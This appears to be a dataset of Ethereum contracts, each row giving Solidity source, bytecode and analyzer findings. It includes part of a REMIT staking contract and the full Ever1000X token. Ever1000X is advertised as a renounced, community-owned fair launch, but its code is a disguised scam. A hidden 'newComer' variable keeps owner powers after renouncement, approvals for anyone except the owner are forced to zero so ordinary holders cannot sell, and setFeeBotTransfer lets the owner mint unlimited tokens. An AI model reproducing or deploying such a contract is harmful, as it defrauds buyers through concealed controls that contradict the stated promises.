function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
uint private constant stakingAndDaoTokens = 5129e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out REMIT from this smart contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress, "Cannot Transfer Out REMIT!");
Token(_tokenAddr).transfer(_to, _amount);
}
function showAddressToken() public view returns (address) {
return tokenAddress;
}
function setRewardRate(uint _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
function reduceReward() public onlyOwner {
rewardRate = rewardRate / 2;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638da5cb5b116100f9578063c326bf4f11610097578063d816c7d511610071578063d816c7d5146104d7578063d8f4dfbd146104df578063f3f91fa0146104e7578063ff7eb7621461050d576101a9565b8063c326bf4f146104a1578063d4ee1d90146104c7578063d578ceab146104cf576101a9565b80639e447fc6116100d35780639e447fc614610439578063a6f9dae114610456578063b6b55f251461047c578063bec4de3f14610499576101a9565b80638da5cb5b146103e757806398896d101461040b5780639d76ea5814610431576101a9565b80633a593dad116101665780636270cd18116101405780636270cd181461037b5780636a395ccb146103a157806379ba5097146103d75780637b0a47ee146103df576101a9565b80633a593dad14610345578063583d42fd1461034d5780635ef057be14610373576101a9565b80630f1a6444146101ae5780631911cf4a146101c857806319aa70e71461030e578063268cab49146103185780632e1a7d4d14610320578063308feec31461033d575b600080fd5b6101b6610515565b60408051918252519081900360200190f35b6101eb600480360360408110156101de57600080fd5b508035906020013561051c565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561023757818101518382015260200161021f565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561027657818101518382015260200161025e565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102b557818101518382015260200161029d565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102f45781810151838201526020016102dc565b505050509050019850505050505050505060405180910390f35b610316610788565b005b6101b6610793565b6103166004803603602081101561033657600080fd5b50356107d8565b6101b6610ad8565b610316610ae9565b6101b66004803603602081101561036357600080fd5b50356001600160a01b0316610b4f565b6101b6610b61565b6101b66004803603602081101561039157600080fd5b50356001600160a01b0316610b66565b610316600480360360608110156103b757600080fd5b506001600160a01b03813581169160208101359091169060400135610b78565b610316610cb7565b6101b6610d70565b6103ef610d76565b604080516001600160a01b039092168252519081900360200190f35b6101b66004803603602081101561042157600080fd5b50356001600160a01b0316610d85565b6103ef610e39565b6103166004803603602081101561044f57600080fd5b5035610e48565b6103166004803603602081101561046c57600080fd5b50356001600160a01b0316610ea1565b6103166004803603602081101561049257600080fd5b5035610f2a565b6101b66111af565b6101b6600480360360208110156104b757600080fd5b50356001600160a01b03166111b7565b6103ef6111c9565b6101b66111d8565b6101b66111de565b6101b66111e3565b6101b6600480360360208110156104fd57600080fd5b50356001600160a01b03166111e9565b6103ef6111fb565b6203f48081565b60608060608084861061052e57600080fd5b600061053a868861120a565b905060608167ffffffffffffffff8111801561055557600080fd5b5060405190808252806020026020018201604052801561057f578160200160208202803683370190505b50905060608267ffffffffffffffff8111801561059b57600080fd5b506040519080825280602002602001820160405280156105c5578160200160208202803683370190505b50905060608367ffffffffffffffff811180156105e157600080fd5b5060405190808252806020026020018201604052801561060b578160200160208202803683370190505b50905060608467ffffffffffffffff8111801561062757600080fd5b50604051908082528060200260200182016040528015610651578160200160208202803683370190505b5090508a5b8a81101561077657600061066b600583611221565b90506000610679838f61120a565b90508187828151811061068857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060086000836001600160a01b03166001600160a01b03168152602001908152602001600020548682815181106106da57fe5b60200260200101818152505060096000836001600160a01b03166001600160a01b031681526020019081526020016000205485828151811061071857fe5b60200260200101818152505060076000836001600160a01b03166001600160a01b031681526020019081526020016000205484828151811061075657fe5b60209081029190910101525061076f9050816001611234565b9050610656565b50929a91995097509095509350505050565b61079133611243565b565b60006901160b2c7564b2840000600454106107b0575060006107d5565b60006107d16004546901160b2c7564b284000061120a90919063ffffffff16565b9150505b90565b3360009081526007602052604090205481111561083c576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b336000908152600860205260409020546203f4809061085c90429061120a565b116108985760405162461bcd60e51b81526004018080602001828103825260348152602001806117c96034913960400191505060405180910390fd5b6108a133611243565b60006108ba6127106108b4846032611597565b906115b7565b905060006108c8838361120a565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561092457600080fd5b505af1158015610938573d6000803e3d6000fd5b505050506040513d602081101561094e57600080fd5b50516109a1576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156109f557600080fd5b505af1158015610a09573d6000803e3d6000fd5b505050506040513d6020811015610a1f57600080fd5b5051610a6f576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b33600090815260076020526040902054610a89908461120a565b33600081815260076020526040902091909155610aa8906005906115cc565b8015610ac1575033600090815260076020526040902054155b15610ad357610ad16005336115e1565b505b505050565b6000610ae460056115f6565b905090565b6000546001600160a01b03163314610b3d576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600260035481610b4957fe5b04600355565b60086020526000908152604090205481565b609681565b600a6020526000908152604090205481565b6000546001600160a01b03163314610bcc576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b6002546001600160a01b0384811691161415610c2f576040805162461bcd60e51b815260206004820152601a60248201527f43616e6e6f74205472616e73666572204f75742052454d495421000000000000604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610c8657600080fd5b505af1158015610c9a573d6000803e3d6000fd5b505050506040513d6020811015610cb057600080fd5b5050505050565b6001546001600160a01b03163314610d0f576040805162461bcd60e51b81526020600482015260166024820152751bdb9b1e481b995dc81bdddb995c88185b1b1bddd95960521b604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60035481565b6000546001600160a01b031681565b6000610d926005836115cc565b610d9e57506000610e34565b6001600160a01b038216600090815260076020526040902054610dc357506000610e34565b6001600160a01b038216600090815260096020526040812054610de790429061120a565b6001600160a01b03841660009081526007602052604081205460035492935091610e2e90612710906108b4906301e133809082908890610e28908990611597565b90611597565b93505050505b919050565b6002546001600160a01b031681565b6000546001600160a01b03163314610e9c576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b600355565b6000546001600160a01b03163314610ef5576040805162461bcd60e51b81526020600482015260126024820152711bdb9b1e481bdddb995c88185b1b1bddd95960721b604482015290519081900360640190fd5b6001600160a01b038116610f0857600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111610f7f576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610fd957600080fd5b505af1158015610fed573d6000803e3d6000fd5b505050506040513d602081101561100357600080fd5b5051611056576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b61105f33611243565b60006110726127106108b4846096611597565b90506000611080838361120a565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156110dc57600080fd5b505af11580156110f0573d6000803e3d6000fd5b505050506040513d602081101561110657600080fd5b5051611159576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600760205260409020546111739082611234565b3360008181526007602090815260408083209490945560089052919091204290556111a0906005906115cc565b610ad357610ad1600533611601565b6301e1338081565b60076020526000908152604090205481565b6001546001600160a01b031681565b60045481565b603281565b6101f481565b60096020526000908152604090205481565b6002546001600160a01b031690565b60008282111561121657fe5b508082035b92915050565b600061122d8383611616565b9392505050565b60008282018381101561122d57fe5b600061124e82610d85565b9050801561157a57600061126a6127106108b4846101f4611597565b9050611276828261120a565b6002549092506000906001600160a01b0316638671f5a4306112988587611234565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156112de57600080fd5b505af11580156112f2573d6000803e3d6000fd5b505050506040513d602081101561130857600080fd5b505190506113168383611234565b8114611340579150816113316127106108b4836101f4611597565b915061133d838361120a565b92505b6002546040805163a9059cbb60e01b81526001600160a01b038781166004830152602482018790529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561139657600080fd5b505af11580156113aa573d6000803e3d6000fd5b505050506040513d60208110156113c057600080fd5b5051611410576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b600254600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018790529051919093169263a9059cbb9260448083019360209390929083900390910190829087803b15801561146d57600080fd5b505af1158015611481573d6000803e3d6000fd5b505050506040513d602081101561149757600080fd5b50516114e7576040805162461bcd60e51b815260206004820152601a60248201527921b7bab632103737ba103a3930b739b332b9103a37b5b2b7399760311b604482015290519081900360640190fd5b6001600160a01b0384166000908152600a602052604090205461150a9084611234565b6001600160a01b0385166000908152600a60205260409020556004546115309084611234565b600455604080516001600160a01b03861681526020810185905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a150505b506001600160a01b03166000908152600960205260409020429055565b60008282028315806115b15750828482816115ae57fe5b04145b61122d57fe5b6000808284816115c357fe5b04949350505050565b600061122d836001600160a01b03841661167a565b600061122d836001600160a01b038416611692565b600061121b82611758565b600061122d836001600160a01b03841661175c565b815460009082106116585760405162461bcd60e51b81526004018080602001828103825260228152602001806117a76022913960400191505060405180910390fd5b82600001828154811061166757fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561174e57835460001980830191908101906000908790839081106116c557fe5b90600052602060002001549050808760000184815481106116e257fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061171257fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061121b565b600091505061121b565b5490565b6000611768838361167a565b61179e5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561121b565b50600061121b56fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220c3711d790b8606b687fcc1ce687af104aed0a45010fa8f08ed000858086ecceb64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,062 |
0xf8a7cd2c21dcd80a2f2f5cf1559e55ec9a7bc9cc
|
/*
_______ _______ _______ __ _______ _______ _______
( ____ \|\ /|( ____ \( ____ )/ \ ( __ )( __ )( __ )|\ /|
| ( \/| ) ( || ( \/| ( )|\/) ) | ( ) || ( ) || ( ) |( \ / )
| (__ | | | || (__ | (____)| | | | | / || | / || | / | \ (_) /
| __) ( ( ) )| __) | __) | | | (/ /) || (/ /) || (/ /) | ) _ (
| ( \ \_/ / | ( | (\ ( | | | / | || / | || / | | / ( ) \
| (____/\ \ / | (____/\| ) \ \____) (_| (__) || (__) || (__) |( / \ )
(_______/ \_/ (_______/|/ \__/\____/(_______)(_______)(_______)|/ \|
🔼 Ever1000X - $Ever1000X
💖 Fair Launch on Ethereum
🍏 100% Community Owned - No Team, No Founders
☃️ No Dev Tokes, No Presale
👩🏻💻 1 Trillion Total Supply
🎃 0.3% Tx Limit (first 1 min)
🎃 1% Tx Limit (Next 5mins) and Remove Tx Limit
🤖 Anti-Bot
🤝 Liquidity Lock on Launch (Immediately)
💪 Ownership Renounce after 30mins
👍 Buyback & Burn at the first Dip (Punish sellers)
🤐 Mute chat 10mins before the Launch
💥 Contract Address Announce 10mins before the Launch
🤓 Unmute chat after ownership renounce
💚 Social Links
👝 Telegram: https://t.me/Ever1000X
👝 Twitter: https://twitter.com/ever1000x
👝 Website: https://www.ever1000x.com
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Ever1000X is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'Ever1000X | https://t.me/Ever1000X';
string private _symbol = 'Ever1000X';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeBotTransfer(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806365a818b014610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c5565b6040518082815260200191505060405180910390f35b6102f161090e565b005b6102fb610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610c06565b8484610c0e565b6001905092915050565b6000600454905090565b600061055d848484610f2e565b61061e84610569610c06565b6106198560405180606001604052806028815260200161139960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b610c0e565b600190509392505050565b6000600760009054906101000a900460ff16905090565b610648610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661072a610c06565b73ffffffffffffffffffffffffffffffffffffffff161415610797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113316021913960400191505060405180910390fd5b6107ac816004546112a890919063ffffffff16565b60048190555061080b81600260006107c2610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b60026000610817610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085d610c06565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610916610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e610c06565b8484610f2e565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061140a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113776022913960400191505060405180910390fd5b610d22610a96565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e405780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610f29565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113526025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113e76023913960400191505060405180910390fd5b6110a6816040518060600160405280602681526020016113c160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611295576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561125a57808201518184015260208101905061123f565b50505050905090810190601f1680156112875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f93b7359438e62ecd1760263295184daf25f8bd3e3710574d5b67c6f2f5f7f6264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,063 |
0xBe7e6a7cD3BEBC1776e64E988bd1518AA3Ad29A4
|
// File: contracts\proxy\Proxy.sol
// SPDX-License-Identifier: MIT
// https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/proxy/Proxy.sol
pragma solidity 0.6.9;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
